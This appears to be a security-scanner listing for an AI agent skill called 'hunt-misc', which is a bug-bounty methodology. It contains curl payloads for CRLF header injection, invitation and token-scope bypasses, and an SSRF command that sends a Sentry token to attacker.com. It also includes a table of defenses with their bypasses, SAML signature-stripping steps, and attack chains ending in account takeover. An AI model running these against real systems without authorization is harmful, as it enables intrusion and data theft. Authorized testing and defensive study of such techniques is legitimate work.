hunt-misc — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited hunt-misc (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Why this vuln class pays: MISC vulnerabilities span access control failures, information disclosure, session/auth logic bugs, and misconfiguration — the categories that consistently produce the highest payouts because they map directly to business impact: data exposure, account takeover, privilege escalation, and infrastructure compromise.
Highest-value targets:
Asset types that pay most:
URL patterns to watch:
/admin/*/transfer
/invitations/*
/partners/*/accept
/api/v*/repos/*/lfs/*
/-/settings/integrations/sentry
/api/v*/user/installations
/hooks/pre-receive/*
/reset-password?token=
/auth/saml/callback
/api/v*/packages/pypi/*Response header signals:
X-Request-Id (pitchfork/Rack — check for header injection)
X-Shopify-Shop-Api-Call-Limit
X-GitLab-*JS patterns revealing internal surfaces:
// Look for hardcoded internal API paths
fetch('/internal/api/
graphql { installations(
"scope": [], // empty scopes on tokens
"permissions": {"contents": "read"} // minimal scope PATsTech stack signals:
pitchfork)Marker Discipline: when probing role boundaries by injecting unique tokens / identifiers into per-role test data, markers MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: test, marker, attacker, evil, admin, AAAA. Good markers: cpmark987abc, x4hd2k9pq. Before claiming any reflection, search the baseline (no-marker) response for the marker — if it appears naturally, change your marker.
Body-Diff Rule: a privilege-bypass claim requires response BODY differential, not status-code-only. 200 OK with byte-identical body to baseline is NOT a bypass. Always diff bodies side-by-side before claiming bypass. Status-code-only claims are the most common rejected-as-N/A category on bug-bounty platforms.
CRLF/Header Injection (Ruby Net::HTTP, Rack/pitchfork):
# Test CRLF in header values
curl -v "https://target.com/path" \
-H $'X-Custom: value\r\nInjected-Header: evil'
# URL-encoded variant
curl -v "https://target.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20session=attacker"
# Test in pitchfork/Rack apps — inject via query param reflected in Location header
curl -v "https://shop.myshopify.com/login?return_to=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>"Privilege escalation via invitation bypass:
# Accept invitation without email verification
curl -X POST "https://target.com/invitations/INVITE_TOKEN/accept" \
-H "Cookie: session=UNVERIFIED_SESSION" \
-d '{"role":"admin"}'
# Test invitation token for another user
curl -X GET "https://target.com/partners/PARTNER_ID/invitation/accept?token=LEAKED_TOKEN" \
-H "Cookie: session=VICTIM_SESSION"Token scope bypass (GitHub/GitLab PAT):
# Call privileged endpoint with minimal-scope token
curl -H "Authorization: token ghp_MINIMAL_SCOPE_TOKEN" \
"https://api.github.com/repos/org/private-repo/issues"
# Test suspended installation access
curl -H "Authorization: Bearer USER_TO_SERVER_TOKEN" \
"https://api.github.com/app/installations/SUSPENDED_INSTALL_ID"SSRF via config URL fields (Sentry integration):
# Change Sentry URL to internal listener
curl -X PUT "https://gitlab.com/api/v4/projects/PROJECT_ID/services/sentry" \
-H "PRIVATE-TOKEN: MAINTAINER_TOKEN" \
-d '{"api_url": "https://attacker.com/capture", "auth_token": "sentry_token"}'ReDoS detection:
# Test Ruby URI parser
ruby -e 'require "uri"; URI.parse("http://a.com?" + "a"*5000 + "##")'
# Test IPAddr
ruby -e 'require "ipaddr"; IPAddr.new("0." * 1000 + "0")'
# Timing-based detection
time curl "https://target.com/search?q=aaaa" # baseline
time curl "https://target.com/search?q=$(python3 -c 'print("a"*5000 + "##")')"Grep patterns for source recon:
# Find SAML signature verification
grep -r "validate_signature\|verify_signature\|skip.*signature" --include="*.rb"
# Find hardcoded or weak scope checks
grep -r "without_scope\|any_scope\|scope.*bypass" --include="*.rb"
# Find invitation acceptance without verification
grep -r "accept.*invitation\|invitation.*accept" --include="*.rb" | grep -v "verified\|confirmed"
# Find internal API routes
grep -r "internal_api\|/_internal/\|/internal/" --include="*.rb" --include="*.js"Dangling subdomain / DNS check:
# Check for obsolete DNS records
dig CNAME handbook.gitlab.com
curl -sI https://handbook.gitlab.com | head -5
# Look for NXDOMAIN or 404 on hosting provider = takeover candidate
# SPF check
dig TXT rubylang.org | grep spf
# Missing or ~all = email spoofing risk.config/.ashx/.asmx/.svc") that return the same error regardless of whether the underlying file exists. Don't infer "file exists" from "blocked"; verify with an independent signal (Collaborator callback, response-time differential at scale, or out-of-band confirmation). Lesson: SharePoint's download.aspx?SourceUrl= returned "blocked from this Web site by the server administrators" for .ashx/.asmx/.svc/.config extensions regardless of whether the underlying file existed — looked like a file-existence oracle, was actually the extension blocklist. Treating it as the former produced a list of "discovered custom customer-branded endpoints" that didn't actually exist.Defender mitigations and how to bypass them:
| Defense | Bypass |
|---|---|
| Email verification on invitation | Accept token in a different session before verification step completes; test if token is single-use or multi-use |
| Role check on API endpoint | Find alternative API versions (/v3/ vs /v4/), GraphQL aliases, or internal endpoints that skip middleware |
| SAML signature validation | Strip signature element entirely; use XML namespace confusion; inject additional unsigned Assertion elements |
| PAT scope enforcement | Find endpoints that check scope at the collection level but not on individual sub-resources; test legacy API versions |
| Token revocation on user removal | Revoke at the org level but not at the app/installation level; test cross-installation token reuse |
| Input sanitization on header values | Try %0d%0a, \r\n, \u000d\u000a, null bytes followed by CRLF; test middleware version-specific parsing |
| Restricting internal API to localhost | Find SSRF vector (Sentry URL, webhook URL) to make server call the internal endpoint on your behalf |
| ReDoS regex hardening | Try different anchor points — if # is patched, try ?, %, or other RFC-special characters that trigger backtracking |
| Dependency pinning | Change package names slightly (typosquatting) or target internal package names that aren't published to public registry |
| Subdomain claim validation | Monitor for hosting provider account deletions; use certificate transparency logs to find unclaimed subdomains |
Before writing the report, answer these three questions:
Must be a concrete action: read customer PII, escalate to admin role, take over an account, transfer a domain asset, exfiltrate an API token, inject a response header. "Could potentially..." is not sufficient.
Must map to a real asset: customer data, account control, financial assets (domains), credentials, code repository contents, or platform trust. "Security best practices not followed" is not a valid answer.
Write out the exact steps (no special tooling, no race conditions that require luck). If you need pre-existing conditions (e.g., must already be a maintainer), state them explicitly and verify they're realistic for an attacker to achieve.
Scenario A — Privilege Escalation via Unverified Partner Invitation (Shopify-class) An attacker receives a partner invitation link for a low-privilege role. Before completing email verification, they use the invitation token in a session authenticated as a different account (or no account). The platform grants the elevated partner role without confirming identity, allowing the attacker to access merchant data, install apps, or modify store configurations for all stores in the partner account. Business impact: full partner-level access to hundreds of merchant stores with no legitimate relationship established.
Scenario B — Cross-Tenant Data Persistence After Removal (Shopify/GitLab-class) A staff member with restricted permissions is removed from a company account after a dispute. Their session token remains valid because revocation only updates the membership table, not the session store. The ex-employee continues to access customer PII, order data, and financial reports via direct API calls for days or weeks post-termination. Business impact: GDPR/CCPA breach exposure, potential extortion leverage, competitive intelligence theft.
Scenario C — SAML Signature Bypass for Account Takeover (GitHub Enterprise-class) An attacker targeting a GitHub Enterprise instance with SAML SSO enabled crafts a SAML response where the Signature element is stripped or moved to cover only a non-critical assertion attribute. The XML parser accepts the document as valid; the signature verifier passes because the signed sub-element validates correctly; the NameID (username/email) in the unsigned portion is set to a victim admin account. Attacker authenticates as the victim with no knowledge of their password or MFA. Business impact: full admin access to all private repositories, CI/CD secrets, and GitHub Actions workflows in the enterprise.
A checklist tells you what to look for one bug at a time. Senior work composes primitives into multi-step engagements that reach impact. Each chain below is built from existing primitives in this skill's methodology and root causes — paired with a secondary primitive from a neighbouring skill. The pattern across them all: the secondary primitive is what produces impact. A standalone soft-delete IDOR is N/A; pair it with a session-store that doesn't invalidate, and it's High.
active=false flag or deletes a membership row but does NOT invalidate the user's session or revoke their issued tokens (root cause #1: soft deletes without permission invalidation).GET /admin/orders, GET /admin/payouts, GET /admin/customers) using the captured token.hunt-ato Path 5 (session-fixation).hunt-auth-bypass step 7 (invitation flow verification).Net::HTTP / Rack response header — user-controlled value flows into Location: or a custom X-* header (root cause #7: Ruby header injection via string interpolation).%0d%0aSet-Cookie: session=attacker or a duplicate Cache-Control: public, max-age=3600 that pollutes the cache-key normalisation across CDN tiers.Set-Cookie or attacker-controlled body.hunt-cache-poison citation #7 and #10 (Akamai hop-by-hop class).SAMLResponse= POST bodies on /saml/acs or /Shibboleth.sso).<Assertion> element so the signature-checker XML parser (REXML/Xerces) resolves a different node than the business-logic XML parser (Nokogiri/JAXP). Sign the outer benign assertion; embed <NameID>admin@victim</NameID> in the unsigned inner assertion.hunt-auth-bypass Disclosed Report Citation #5 and #7, and root cause #5 (SAML XML parsing quirks).read:user scope only. Confirm via GET /api/me/tokens.write:* (e.g. DELETE /repos/{org}/{repo}/issues/{n}). Server checks "is authenticated" via middleware but the individual handler doesn't re-verify the PAT's scope subset.hunt-api-misconfig JWT scope bypasses.redirect_uri Allowlist → Auth-Code Theft → ATOredirect_uri allowlist via the /oauth/authorize flow; note any wildcard *.target.com or takeover-candidate hostname in the static list.legacy.target.com CNAME'd to deleted Vercel project / Heroku app / S3 bucket — hunt-subdomain step 1)./oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&.... Auth code lands on attacker host. Exchange via token endpoint. ATO.cloudapp.azure.com + wildcard *.visualstudio.com reply_to chain (Binary Security, Nov 2022). Cross-refs hunt-subdomain Disclosed Report Citation #12.When you confirm a misc primitive at A, immediately ask: what state-machine, cache layer, sibling endpoint, or auth-state-skew can amplify it? The first primitive is the entry pass. The chain is the deliverable. Every Workstream-A skill citation in this bundle pairs with at least one chain shape above:
hunt-auth-bypass — Chains 2, 4, 5hunt-cache-poison — Chain 3hunt-saml — Chain 4hunt-subdomain — Chain 6hunt-ato — Chains 1, 2, 5, 6 (all terminal-impact paths)hunt-saml AttributeStatement injection → NameID swap → ATO of victim admin via SSO with no password.hunt-auth-bypass → post-termination data exfil and persistent access.hunt-ato Path 6 (JWT/SAML manipulation) → admin ATO across enterprise.~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.